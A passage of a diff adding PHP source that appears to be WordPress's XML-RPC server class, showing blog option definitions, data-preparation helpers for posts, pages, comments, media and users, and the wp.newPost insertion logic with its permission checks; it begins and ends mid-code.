+				'readonly'      => true,
+				'value'         => wp_login_url( )
+			),
+			'admin_url'          => array(
+				'desc'          => __( 'The URL to the admin area' ),
+				'readonly'      => true,
+				'value'         => get_admin_url( )
+			),
+			'image_default_link_type' => array(
+				'desc'          => __( 'Image default link type' ),
+				'readonly'      => true,
+				'option'        => 'image_default_link_type'
+			),
+			'image_default_size' => array(
+				'desc'          => __( 'Image default size' ),
+				'readonly'      => true,
+				'option'        => 'image_default_size'
+			),
+			'image_default_align' => array(
+				'desc'          => __( 'Image default align' ),
+				'readonly'      => true,
+				'option'        => 'image_default_align'
+			),
+			'template'          => array(
+				'desc'          => __( 'Template' ),
+				'readonly'      => true,
+				'option'        => 'template'
+			),
+			'stylesheet'        => array(
+				'desc'          => __( 'Stylesheet' ),
+				'readonly'      => true,
+				'option'        => 'stylesheet'
+			),
+			'post_thumbnail'    => array(
+				'desc'          => __('Post Thumbnail'),
+				'readonly'      => true,
+				'value'         => current_theme_supports( 'post-thumbnails' )
+			),
+
+			// Updatable options
+			'time_zone'         => array(
+				'desc'          => __( 'Time Zone' ),
+				'readonly'      => false,
+				'option'        => 'gmt_offset'
+			),
+			'blog_title'        => array(
+				'desc'          => __( 'Site Title' ),
+				'readonly'      => false,
+				'option'        => 'blogname'
+			),
+			'blog_tagline'      => array(
+				'desc'          => __( 'Site Tagline' ),
+				'readonly'      => false,
+				'option'        => 'blogdescription'
+			),
+			'date_format'       => array(
+				'desc'          => __( 'Date Format' ),
+				'readonly'      => false,
+				'option'        => 'date_format'
+			),
+			'time_format'       => array(
+				'desc'          => __( 'Time Format' ),
+				'readonly'      => false,
+				'option'        => 'time_format'
+			),
+			'users_can_register' => array(
+				'desc'          => __( 'Allow new users to sign up' ),
+				'readonly'      => false,
+				'option'        => 'users_can_register'
+			),
+			'thumbnail_size_w'  => array(
+				'desc'          => __( 'Thumbnail Width' ),
+				'readonly'      => false,
+				'option'        => 'thumbnail_size_w'
+			),
+			'thumbnail_size_h'  => array(
+				'desc'          => __( 'Thumbnail Height' ),
+				'readonly'      => false,
+				'option'        => 'thumbnail_size_h'
+			),
+			'thumbnail_crop'    => array(
+				'desc'          => __( 'Crop thumbnail to exact dimensions' ),
+				'readonly'      => false,
+				'option'        => 'thumbnail_crop'
+			),
+			'medium_size_w'     => array(
+				'desc'          => __( 'Medium size image width' ),
+				'readonly'      => false,
+				'option'        => 'medium_size_w'
+			),
+			'medium_size_h'     => array(
+				'desc'          => __( 'Medium size image height' ),
+				'readonly'      => false,
+				'option'        => 'medium_size_h'
+			),
+			'large_size_w'      => array(
+				'desc'          => __( 'Large size image width' ),
+				'readonly'      => false,
+				'option'        => 'large_size_w'
+			),
+			'large_size_h'      => array(
+				'desc'          => __( 'Large size image height' ),
+				'readonly'      => false,
+				'option'        => 'large_size_h'
+			),
+			'default_comment_status' => array(
+				'desc'          => __( 'Allow people to post comments on new articles' ),
+				'readonly'      => false,
+				'option'        => 'default_comment_status'
+			),
+			'default_ping_status' => array(
+				'desc'          => __( 'Allow link notifications from other blogs (pingbacks and trackbacks)' ),
+				'readonly'      => false,
+				'option'        => 'default_ping_status'
+			)
+		);
+
+		/**
+		 * Filter the XML-RPC blog options property.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param array $blog_options An array of XML-RPC blog options.
+		 */
+		$this->blog_options = apply_filters( 'xmlrpc_blog_options', $this->blog_options );
+	}
+
+	/**
+	 * Retrieve the blogs of the user.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - username
+	 *  - password
+	 * @return array|IXR_Error Array contains:
+	 *  - 'isAdmin'
+	 *  - 'url'
+	 *  - 'blogid'
+	 *  - 'blogName'
+	 *  - 'xmlrpc' - url of xmlrpc endpoint
+	 */
+	public function wp_getUsersBlogs( $args ) {
+		// If this isn't on WPMU then just use blogger_getUsersBlogs
+		if ( !is_multisite() ) {
+			array_unshift( $args, 1 );
+			return $this->blogger_getUsersBlogs( $args );
+		}
+
+		$this->escape( $args );
+
+		$username = $args[0];
+		$password = $args[1];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/**
+		 * Fires after the XML-RPC user has been authenticated but before the rest of
+		 * the method logic begins.
+		 *
+		 * All built-in XML-RPC methods use the action xmlrpc_call, with a parameter
+		 * equal to the method's name, e.g., wp.getUsersBlogs, wp.newPost, etc.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param method $name The method name.
+		 */
+		do_action( 'xmlrpc_call', 'wp.getUsersBlogs' );
+
+		$blogs = (array) get_blogs_of_user( $user->ID );
+		$struct = array();
+
+		foreach ( $blogs as $blog ) {
+			// Don't include blogs that aren't hosted at this site
+			if ( $blog->site_id != get_current_site()->id )
+				continue;
+
+			$blog_id = $blog->userblog_id;
+
+			switch_to_blog( $blog_id );
+
+			$is_admin = current_user_can( 'manage_options' );
+
+			$struct[] = array(
+				'isAdmin'		=> $is_admin,
+				'url'			=> home_url( '/' ),
+				'blogid'		=> (string) $blog_id,
+				'blogName'		=> get_option( 'blogname' ),
+				'xmlrpc'		=> site_url( 'xmlrpc.php', 'rpc' ),
+			);
+
+			restore_current_blog();
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Checks if the method received at least the minimum number of arguments.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string|array $args Sanitize single string or array of strings.
+	 * @param int $count Minimum number of arguments.
+	 * @return boolean if $args contains at least $count arguments.
+	 */
+	protected function minimum_args( $args, $count ) {
+		if ( count( $args ) < $count ) {
+			$this->error = new IXR_Error( 400, __( 'Insufficient arguments passed to this XML-RPC method.' ) );
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Prepares taxonomy data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param object $taxonomy The unprepared taxonomy data
+	 * @param array $fields The subset of taxonomy fields to return
+	 * @return array The prepared taxonomy data
+	 */
+	protected function _prepare_taxonomy( $taxonomy, $fields ) {
+		$_taxonomy = array(
+			'name' => $taxonomy->name,
+			'label' => $taxonomy->label,
+			'hierarchical' => (bool) $taxonomy->hierarchical,
+			'public' => (bool) $taxonomy->public,
+			'show_ui' => (bool) $taxonomy->show_ui,
+			'_builtin' => (bool) $taxonomy->_builtin,
+		);
+
+		if ( in_array( 'labels', $fields ) )
+			$_taxonomy['labels'] = (array) $taxonomy->labels;
+
+		if ( in_array( 'cap', $fields ) )
+			$_taxonomy['cap'] = (array) $taxonomy->cap;
+
+		if ( in_array( 'menu', $fields ) )
+			$_taxonomy['show_in_menu'] = (bool) $_taxonomy->show_in_menu;
+
+		if ( in_array( 'object_type', $fields ) )
+			$_taxonomy['object_type'] = array_unique( (array) $taxonomy->object_type );
+
+		/**
+		 * Filter XML-RPC-prepared data for the given taxonomy.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array  $_taxonomy An array of taxonomy data.
+		 * @param object $taxonomy  Taxonomy object.
+		 * @param array  $fields    The subset of taxonomy fields to return.
+		 */
+		return apply_filters( 'xmlrpc_prepare_taxonomy', $_taxonomy, $taxonomy, $fields );
+	}
+
+	/**
+	 * Prepares term data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param array|object $term The unprepared term data
+	 * @return array The prepared term data
+	 */
+	protected function _prepare_term( $term ) {
+		$_term = $term;
+		if ( ! is_array( $_term) )
+			$_term = get_object_vars( $_term );
+
+		// For integers which may be larger than XML-RPC supports ensure we return strings.
+		$_term['term_id'] = strval( $_term['term_id'] );
+		$_term['term_group'] = strval( $_term['term_group'] );
+		$_term['term_taxonomy_id'] = strval( $_term['term_taxonomy_id'] );
+		$_term['parent'] = strval( $_term['parent'] );
+
+		// Count we are happy to return as an integer because people really shouldn't use terms that much.
+		$_term['count'] = intval( $_term['count'] );
+
+		/**
+		 * Filter XML-RPC-prepared data for the given term.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array        $_term An array of term data.
+		 * @param array|object $term  Term object or array.
+		 */
+		return apply_filters( 'xmlrpc_prepare_term', $_term, $term );
+	}
+
+	/**
+	 * Convert a WordPress date string to an IXR_Date object.
+	 *
+	 * @access protected
+	 *
+	 * @param string $date
+	 * @return IXR_Date
+	 */
+	protected function _convert_date( $date ) {
+		if ( $date === '0000-00-00 00:00:00' ) {
+			return new IXR_Date( '00000000T00:00:00Z' );
+		}
+		return new IXR_Date( mysql2date( 'Ymd\TH:i:s', $date, false ) );
+	}
+
+	/**
+	 * Convert a WordPress GMT date string to an IXR_Date object.
+	 *
+	 * @access protected
+	 *
+	 * @param string $date_gmt
+	 * @param string $date
+	 * @return IXR_Date
+	 */
+	protected function _convert_date_gmt( $date_gmt, $date ) {
+		if ( $date !== '0000-00-00 00:00:00' && $date_gmt === '0000-00-00 00:00:00' ) {
+			return new IXR_Date( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $date, false ), 'Ymd\TH:i:s' ) );
+		}
+		return $this->_convert_date( $date_gmt );
+	}
+
+	/**
+	 * Prepares post data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param array $post The unprepared post data
+	 * @param array $fields The subset of post type fields to return
+	 * @return array The prepared post data
+	 */
+	protected function _prepare_post( $post, $fields ) {
+		// holds the data for this post. built up based on $fields
+		$_post = array( 'post_id' => strval( $post['ID'] ) );
+
+		// prepare common post fields
+		$post_fields = array(
+			'post_title'        => $post['post_title'],
+			'post_date'         => $this->_convert_date( $post['post_date'] ),
+			'post_date_gmt'     => $this->_convert_date_gmt( $post['post_date_gmt'], $post['post_date'] ),
+			'post_modified'     => $this->_convert_date( $post['post_modified'] ),
+			'post_modified_gmt' => $this->_convert_date_gmt( $post['post_modified_gmt'], $post['post_modified'] ),
+			'post_status'       => $post['post_status'],
+			'post_type'         => $post['post_type'],
+			'post_name'         => $post['post_name'],
+			'post_author'       => $post['post_author'],
+			'post_password'     => $post['post_password'],
+			'post_excerpt'      => $post['post_excerpt'],
+			'post_content'      => $post['post_content'],
+			'post_parent'       => strval( $post['post_parent'] ),
+			'post_mime_type'    => $post['post_mime_type'],
+			'link'              => post_permalink( $post['ID'] ),
+			'guid'              => $post['guid'],
+			'menu_order'        => intval( $post['menu_order'] ),
+			'comment_status'    => $post['comment_status'],
+			'ping_status'       => $post['ping_status'],
+			'sticky'            => ( $post['post_type'] === 'post' && is_sticky( $post['ID'] ) ),
+		);
+
+		// Thumbnail
+		$post_fields['post_thumbnail'] = array();
+		$thumbnail_id = get_post_thumbnail_id( $post['ID'] );
+		if ( $thumbnail_id ) {
+			$thumbnail_size = current_theme_supports('post-thumbnail') ? 'post-thumbnail' : 'thumbnail';
+			$post_fields['post_thumbnail'] = $this->_prepare_media_item( get_post( $thumbnail_id ), $thumbnail_size );
+		}
+
+		// Consider future posts as published
+		if ( $post_fields['post_status'] === 'future' )
+			$post_fields['post_status'] = 'publish';
+
+		// Fill in blank post format
+		$post_fields['post_format'] = get_post_format( $post['ID'] );
+		if ( empty( $post_fields['post_format'] ) )
+			$post_fields['post_format'] = 'standard';
+
+		// Merge requested $post_fields fields into $_post
+		if ( in_array( 'post', $fields ) ) {
+			$_post = array_merge( $_post, $post_fields );
+		} else {
+			$requested_fields = array_intersect_key( $post_fields, array_flip( $fields ) );
+			$_post = array_merge( $_post, $requested_fields );
+		}
+
+		$all_taxonomy_fields = in_array( 'taxonomies', $fields );
+
+		if ( $all_taxonomy_fields || in_array( 'terms', $fields ) ) {
+			$post_type_taxonomies = get_object_taxonomies( $post['post_type'], 'names' );
+			$terms = wp_get_object_terms( $post['ID'], $post_type_taxonomies );
+			$_post['terms'] = array();
+			foreach ( $terms as $term ) {
+				$_post['terms'][] = $this->_prepare_term( $term );
+			}
+		}
+
+		if ( in_array( 'custom_fields', $fields ) )
+			$_post['custom_fields'] = $this->get_custom_fields( $post['ID'] );
+
+		if ( in_array( 'enclosure', $fields ) ) {
+			$_post['enclosure'] = array();
+			$enclosures = (array) get_post_meta( $post['ID'], 'enclosure' );
+			if ( ! empty( $enclosures ) ) {
+				$encdata = explode( "\n", $enclosures[0] );
+				$_post['enclosure']['url'] = trim( htmlspecialchars( $encdata[0] ) );
+				$_post['enclosure']['length'] = (int) trim( $encdata[1] );
+				$_post['enclosure']['type'] = trim( $encdata[2] );
+			}
+		}
+
+		/**
+		 * Filter XML-RPC-prepared date for the given post.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array $_post  An array of modified post data.
+		 * @param array $post   An array of post data.
+		 * @param array $fields An array of post fields.
+		 */
+		return apply_filters( 'xmlrpc_prepare_post', $_post, $post, $fields );
+	}
+
+	/**
+	 * Prepares post data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param object $post_type Post type object
+	 * @param array $fields The subset of post fields to return
+	 * @return array The prepared post type data
+	 */
+	protected function _prepare_post_type( $post_type, $fields ) {
+		$_post_type = array(
+			'name' => $post_type->name,
+			'label' => $post_type->label,
+			'hierarchical' => (bool) $post_type->hierarchical,
+			'public' => (bool) $post_type->public,
+			'show_ui' => (bool) $post_type->show_ui,
+			'_builtin' => (bool) $post_type->_builtin,
+			'has_archive' => (bool) $post_type->has_archive,
+			'supports' => get_all_post_type_supports( $post_type->name ),
+		);
+
+		if ( in_array( 'labels', $fields ) ) {
+			$_post_type['labels'] = (array) $post_type->labels;
+		}
+
+		if ( in_array( 'cap', $fields ) ) {
+			$_post_type['cap'] = (array) $post_type->cap;
+			$_post_type['map_meta_cap'] = (bool) $post_type->map_meta_cap;
+		}
+
+		if ( in_array( 'menu', $fields ) ) {
+			$_post_type['menu_position'] = (int) $post_type->menu_position;
+			$_post_type['menu_icon'] = $post_type->menu_icon;
+			$_post_type['show_in_menu'] = (bool) $post_type->show_in_menu;
+		}
+
+		if ( in_array( 'taxonomies', $fields ) )
+			$_post_type['taxonomies'] = get_object_taxonomies( $post_type->name, 'names' );
+
+		/**
+		 * Filter XML-RPC-prepared date for the given post type.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array  $_post_type An array of post type data.
+		 * @param object $post_type  Post type object.
+		 */
+		return apply_filters( 'xmlrpc_prepare_post_type', $_post_type, $post_type );
+	}
+
+	/**
+	 * Prepares media item data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param object $media_item The unprepared media item data
+	 * @param string $thumbnail_size The image size to use for the thumbnail URL
+	 * @return array The prepared media item data
+	 */
+	protected function _prepare_media_item( $media_item, $thumbnail_size = 'thumbnail' ) {
+		$_media_item = array(
+			'attachment_id'    => strval( $media_item->ID ),
+			'date_created_gmt' => $this->_convert_date_gmt( $media_item->post_date_gmt, $media_item->post_date ),
+			'parent'           => $media_item->post_parent,
+			'link'             => wp_get_attachment_url( $media_item->ID ),
+			'title'            => $media_item->post_title,
+			'caption'          => $media_item->post_excerpt,
+			'description'      => $media_item->post_content,
+			'metadata'         => wp_get_attachment_metadata( $media_item->ID ),
+		);
+
+		$thumbnail_src = image_downsize( $media_item->ID, $thumbnail_size );
+		if ( $thumbnail_src )
+			$_media_item['thumbnail'] = $thumbnail_src[0];
+		else
+			$_media_item['thumbnail'] = $_media_item['link'];
+
+		/**
+		 * Filter XML-RPC-prepared data for the given media item.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array  $_media_item    An array of media item data.
+		 * @param object $media_item     Media item object.
+		 * @param string $thumbnail_size Image size.
+		 */
+		return apply_filters( 'xmlrpc_prepare_media_item', $_media_item, $media_item, $thumbnail_size );
+	}
+
+	/**
+	 * Prepares page data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param object $page The unprepared page data
+	 * @return array The prepared page data
+	 */
+	protected function _prepare_page( $page ) {
+		// Get all of the page content and link.
+		$full_page = get_extended( $page->post_content );
+		$link = post_permalink( $page->ID );
+
+		// Get info the page parent if there is one.
+		$parent_title = "";
+		if ( ! empty( $page->post_parent ) ) {
+			$parent = get_post( $page->post_parent );
+			$parent_title = $parent->post_title;
+		}
+
+		// Determine comment and ping settings.
+		$allow_comments = comments_open( $page->ID ) ? 1 : 0;
+		$allow_pings = pings_open( $page->ID ) ? 1 : 0;
+
+		// Format page date.
+		$page_date = $this->_convert_date( $page->post_date );
+		$page_date_gmt = $this->_convert_date_gmt( $page->post_date_gmt, $page->post_date );
+
+		// Pull the categories info together.
+		$categories = array();
+		if ( is_object_in_taxonomy( 'page', 'category' ) ) {
+			foreach ( wp_get_post_categories( $page->ID ) as $cat_id ) {
+				$categories[] = get_cat_name( $cat_id );
+			}
+		}
+
+		// Get the author info.
+		$author = get_userdata( $page->post_author );
+
+		$page_template = get_page_template_slug( $page->ID );
+		if ( empty( $page_template ) )
+			$page_template = 'default';
+
+		$_page = array(
+			'dateCreated'            => $page_date,
+			'userid'                 => $page->post_author,
+			'page_id'                => $page->ID,
+			'page_status'            => $page->post_status,
+			'description'            => $full_page['main'],
+			'title'                  => $page->post_title,
+			'link'                   => $link,
+			'permaLink'              => $link,
+			'categories'             => $categories,
+			'excerpt'                => $page->post_excerpt,
+			'text_more'              => $full_page['extended'],
+			'mt_allow_comments'      => $allow_comments,
+			'mt_allow_pings'         => $allow_pings,
+			'wp_slug'                => $page->post_name,
+			'wp_password'            => $page->post_password,
+			'wp_author'              => $author->display_name,
+			'wp_page_parent_id'      => $page->post_parent,
+			'wp_page_parent_title'   => $parent_title,
+			'wp_page_order'          => $page->menu_order,
+			'wp_author_id'           => (string) $author->ID,
+			'wp_author_display_name' => $author->display_name,
+			'date_created_gmt'       => $page_date_gmt,
+			'custom_fields'          => $this->get_custom_fields( $page->ID ),
+			'wp_page_template'       => $page_template
+		);
+
+		/**
+		 * Filter XML-RPC-prepared data for the given page.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array   $_page An array of page data.
+		 * @param WP_Post $page  Page object.
+		 */
+		return apply_filters( 'xmlrpc_prepare_page', $_page, $page );
+	}
+
+	/**
+	 * Prepares comment data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param object $comment The unprepared comment data
+	 * @return array The prepared comment data
+	 */
+	protected function _prepare_comment( $comment ) {
+		// Format page date.
+		$comment_date_gmt = $this->_convert_date_gmt( $comment->comment_date_gmt, $comment->comment_date );
+
+		if ( '0' == $comment->comment_approved ) {
+			$comment_status = 'hold';
+		} elseif ( 'spam' == $comment->comment_approved ) {
+			$comment_status = 'spam';
+		} elseif ( '1' == $comment->comment_approved ) {
+			$comment_status = 'approve';
+		} else {
+			$comment_status = $comment->comment_approved;
+		}
+		$_comment = array(
+			'date_created_gmt' => $comment_date_gmt,
+			'user_id'          => $comment->user_id,
+			'comment_id'       => $comment->comment_ID,
+			'parent'           => $comment->comment_parent,
+			'status'           => $comment_status,
+			'content'          => $comment->comment_content,
+			'link'             => get_comment_link($comment),
+			'post_id'          => $comment->comment_post_ID,
+			'post_title'       => get_the_title($comment->comment_post_ID),
+			'author'           => $comment->comment_author,
+			'author_url'       => $comment->comment_author_url,
+			'author_email'     => $comment->comment_author_email,
+			'author_ip'        => $comment->comment_author_IP,
+			'type'             => $comment->comment_type,
+		);
+
+		/**
+		 * Filter XML-RPC-prepared data for the given comment.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array  $_comment An array of prepared comment data.
+		 * @param object $comment  Comment object.
+		 */
+		return apply_filters( 'xmlrpc_prepare_comment', $_comment, $comment );
+	}
+
+	/**
+	 * Prepares user data for return in an XML-RPC object.
+	 *
+	 * @access protected
+	 *
+	 * @param WP_User $user The unprepared user object
+	 * @param array $fields The subset of user fields to return
+	 * @return array The prepared user data
+	 */
+	protected function _prepare_user( $user, $fields ) {
+		$_user = array( 'user_id' => strval( $user->ID ) );
+
+		$user_fields = array(
+			'username'          => $user->user_login,
+			'first_name'        => $user->user_firstname,
+			'last_name'         => $user->user_lastname,
+			'registered'        => $this->_convert_date( $user->user_registered ),
+			'bio'               => $user->user_description,
+			'email'             => $user->user_email,
+			'nickname'          => $user->nickname,
+			'nicename'          => $user->user_nicename,
+			'url'               => $user->user_url,
+			'display_name'      => $user->display_name,
+			'roles'             => $user->roles,
+		);
+
+		if ( in_array( 'all', $fields ) ) {
+			$_user = array_merge( $_user, $user_fields );
+		} else {
+			if ( in_array( 'basic', $fields ) ) {
+				$basic_fields = array( 'username', 'email', 'registered', 'display_name', 'nicename' );
+				$fields = array_merge( $fields, $basic_fields );
+			}
+			$requested_fields = array_intersect_key( $user_fields, array_flip( $fields ) );
+			$_user = array_merge( $_user, $requested_fields );
+		}
+
+		/**
+		 * Filter XML-RPC-prepared data for the given user.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array   $_user  An array of user data.
+		 * @param WP_User $user   User object.
+		 * @param array   $fields An array of user fields.
+		 */
+		return apply_filters( 'xmlrpc_prepare_user', $_user, $user, $fields );
+	}
+
+	/**
+	 * Create a new post for any registered post type.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - array   $content_struct
+	 *      $content_struct can contain:
+	 *      - post_type (default: 'post')
+	 *      - post_status (default: 'draft')
+	 *      - post_title
+	 *      - post_author
+	 *      - post_excerpt
+	 *      - post_content
+	 *      - post_date_gmt | post_date
+	 *      - post_format
+	 *      - post_password
+	 *      - comment_status - can be 'open' | 'closed'
+	 *      - ping_status - can be 'open' | 'closed'
+	 *      - sticky
+	 *      - post_thumbnail - ID of a media item to use as the post thumbnail/featured image
+	 *      - custom_fields - array, with each element containing 'key' and 'value'
+	 *      - terms - array, with taxonomy names as keys and arrays of term IDs as values
+	 *      - terms_names - array, with taxonomy names as keys and arrays of term names as values
+	 *      - enclosure
+	 *      - any other fields supported by wp_insert_post()
+	 * @return string|IXR_Error post_id
+	 */
+	public function wp_newPost( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		// convert the date field back to IXR form
+		if ( isset( $content_struct['post_date'] ) && ! is_a( $content_struct['post_date'], 'IXR_Date' ) ) {
+			$content_struct['post_date'] = $this->_convert_date( $content_struct['post_date'] );
+		}
+
+		// ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
+		// since _insert_post will ignore the non-GMT date if the GMT date is set
+		if ( isset( $content_struct['post_date_gmt'] ) && ! is_a( $content_struct['post_date_gmt'], 'IXR_Date' ) ) {
+			if ( $content_struct['post_date_gmt'] == '0000-00-00 00:00:00' || isset( $content_struct['post_date'] ) ) {
+				unset( $content_struct['post_date_gmt'] );
+			} else {
+				$content_struct['post_date_gmt'] = $this->_convert_date( $content_struct['post_date_gmt'] );
+			}
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newPost' );
+
+		unset( $content_struct['ID'] );
+
+		return $this->_insert_post( $user, $content_struct );
+	}
+
+	/**
+	 * Helper method for filtering out elements from an array.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param int $count Number to compare to one.
+	 */
+	private function _is_greater_than_one( $count ) {
+		return $count > 1;
+	}
+
+	/**
+	 * Helper method for wp_newPost and wp_editPost, containing shared logic.
+	 *
+	 * @since 3.4.0
+	 * @uses wp_insert_post()
+	 *
+	 * @param WP_User $user The post author if post_author isn't set in $content_struct.
+	 * @param array|IXR_Error $content_struct Post data to insert.
+	 */
+	protected function _insert_post( $user, $content_struct ) {
+		$defaults = array( 'post_status' => 'draft', 'post_type' => 'post', 'post_author' => 0,
+			'post_password' => '', 'post_excerpt' => '', 'post_content' => '', 'post_title' => '' );
+
+		$post_data = wp_parse_args( $content_struct, $defaults );
+
+		$post_type = get_post_type_object( $post_data['post_type'] );
+		if ( ! $post_type )
+			return new IXR_Error( 403, __( 'Invalid post type' ) );
+
+		$update = ! empty( $post_data['ID'] );
+
+		if ( $update ) {
+			if ( ! get_post( $post_data['ID'] ) )
+				return new IXR_Error( 401, __( 'Invalid post ID.' ) );
+			if ( ! current_user_can( 'edit_post', $post_data['ID'] ) )
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+			if ( $post_data['post_type'] != get_post_type( $post_data['ID'] ) )
+				return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
+		} else {
+			if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( $post_type->cap->edit_posts ) )
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) );
+		}
+
+		switch ( $post_data['post_status'] ) {
+			case 'draft':
+			case 'pending':
+				break;
+			case 'private':
+				if ( ! current_user_can( $post_type->cap->publish_posts ) )
+					return new IXR_Error( 401, __( 'Sorry, you are not allowed to create private posts in this post type' ) );
+				break;
+			case 'publish':
+			case 'future':
+				if ( ! current_user_can( $post_type->cap->publish_posts ) )
+					return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts in this post type' ) );
+				break;
+			default:
+				if ( ! get_post_status_object( $post_data['post_status'] ) )
+					$post_data['post_status'] = 'draft';
+			break;
+		}
+
+		if ( ! empty( $post_data['post_password'] ) && ! current_user_can( $post_type->cap->publish_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to create password protected posts in this post type' ) );
+
+		$post_data['post_author'] = absint( $post_data['post_author'] );
+		if ( ! empty( $post_data['post_author'] ) && $post_data['post_author'] != $user->ID ) {
+			if ( ! current_user_can( $post_type->cap->edit_others_posts ) )
+				return new IXR_Error( 401, __( 'You are not allowed to create posts as this user.' ) );
+
+			$author = get_userdata( $post_data['post_author'] );
+
+			if ( ! $author )
+				return new IXR_Error( 404, __( 'Invalid author ID.' ) );
+		} else {
+			$post_data['post_author'] = $user->ID;
+		}
+
+		if ( isset( $post_data['comment_status'] ) && $post_data['comment_status'] != 'open' && $post_data['comment_status'] != 'closed' )
+			unset( $post_data['comment_status'] );
+
+		if ( isset( $post_data['ping_status'] ) && $post_data['ping_status'] != 'open' && $post_data['ping_status'] != 'closed' )
+			unset( $post_data['ping_status'] );
+
+		// Do some timestamp voodoo
+		if ( ! empty( $post_data['post_date_gmt'] ) ) {
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force
+			$dateCreated = rtrim( $post_data['post_date_gmt']->getIso(), 'Z' ) . 'Z';
+		} elseif ( ! empty( $post_data['post_date'] ) ) {
+			$dateCreated = $post_data['post_date']->getIso();
+		}
+
+		if ( ! empty( $dateCreated ) ) {
+			$post_data['post_date'] = get_date_from_gmt( iso8601_to_datetime( $dateCreated ) );
+			$post_data['post_date_gmt'] = iso8601_to_datetime( $dateCreated, 'GMT' );
+		}
+
+		if ( ! isset( $post_data['ID'] ) )
+			$post_data['ID'] = get_default_post_to_edit( $post_data['post_type'], true )->ID;
+		$post_ID = $post_data['ID'];
+
+		if ( $post_data['post_type'] == 'post' ) {
+			// Private and password-protected posts cannot be stickied.
+			if ( $post_data['post_status'] == 'private' || ! empty( $post_data['post_password'] ) ) {
+				// Error if the client tried to stick the post, otherwise, silently unstick.
+				if ( ! empty( $post_data['sticky'] ) )
+					return new IXR_Error( 401, __( 'Sorry, you cannot stick a private post.' ) );
+				if ( $update )
+					unstick_post( $post_ID );
+			} elseif ( isset( $post_data['sticky'] ) )  {
+				if ( ! current_user_can( $post_type->cap->edit_others_posts ) )
+					return new IXR_Error( 401, __( 'Sorry, you are not allowed to stick this post.' ) );
+				if ( $post_data['sticky'] )
+					stick_post( $post_ID );
+				else
+					unstick_post( $post_ID );
+			}
+		}
+
+		if ( isset( $post_data['post_thumbnail'] ) ) {
+			// empty value deletes, non-empty value adds/updates
+			if ( ! $post_data['post_thumbnail'] )
+				delete_post_thumbnail( $post_ID );
+			elseif ( ! get_post( absint( $post_data['post_thumbnail'] ) ) )
+				return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+			set_post_thumbnail( $post_ID, $post_data['post_thumbnail'] );
+			unset( $content_struct['post_thumbnail'] );
+		}
+
+		if ( isset( $post_data['custom_fields'] ) )
+			$this->set_custom_fields( $post_ID, $post_data['custom_fields'] );
+
+		if ( isset( $post_data['terms'] ) || isset( $post_data['terms_names'] ) ) {
+			$post_type_taxonomies = get_object_taxonomies( $post_data['post_type'], 'objects' );
+
+			// accumulate term IDs from terms and terms_names
+			$terms = array();
+
+			// first validate the terms specified by ID
+			if ( isset( $post_data['terms'] ) && is_array( $post_data['terms'] ) ) {
+				$taxonomies = array_keys( $post_data['terms'] );
+
+				// validating term ids
+				foreach ( $taxonomies as $taxonomy ) {
+					if ( ! array_key_exists( $taxonomy , $post_type_taxonomies ) )
+						return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
+
+					if ( ! current_user_can( $post_type_taxonomies[$taxonomy]->cap->assign_terms ) )
+						return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
+
+					$term_ids = $post_data['terms'][$taxonomy];
+					$terms[ $taxonomy ] = array();
+					foreach ( $term_ids as $term_id ) {
+						$term = get_term_by( 'id', $term_id, $taxonomy );
+
+						if ( ! $term )
+							return new IXR_Error( 403, __( 'Invalid term ID' ) );
+
+						$terms[$taxonomy][] = (int) $term_id;
+					}
+				}
+			}
+
+			// now validate terms specified by name
+			if ( isset( $post_data['terms_names'] ) && is_array( $post_data['terms_names'] ) ) {
+				$taxonomies = array_keys( $post_data['terms_names'] );
+
+				foreach ( $taxonomies as $taxonomy ) {
+					if ( ! array_key_exists( $taxonomy , $post_type_taxonomies ) )
+						return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
+
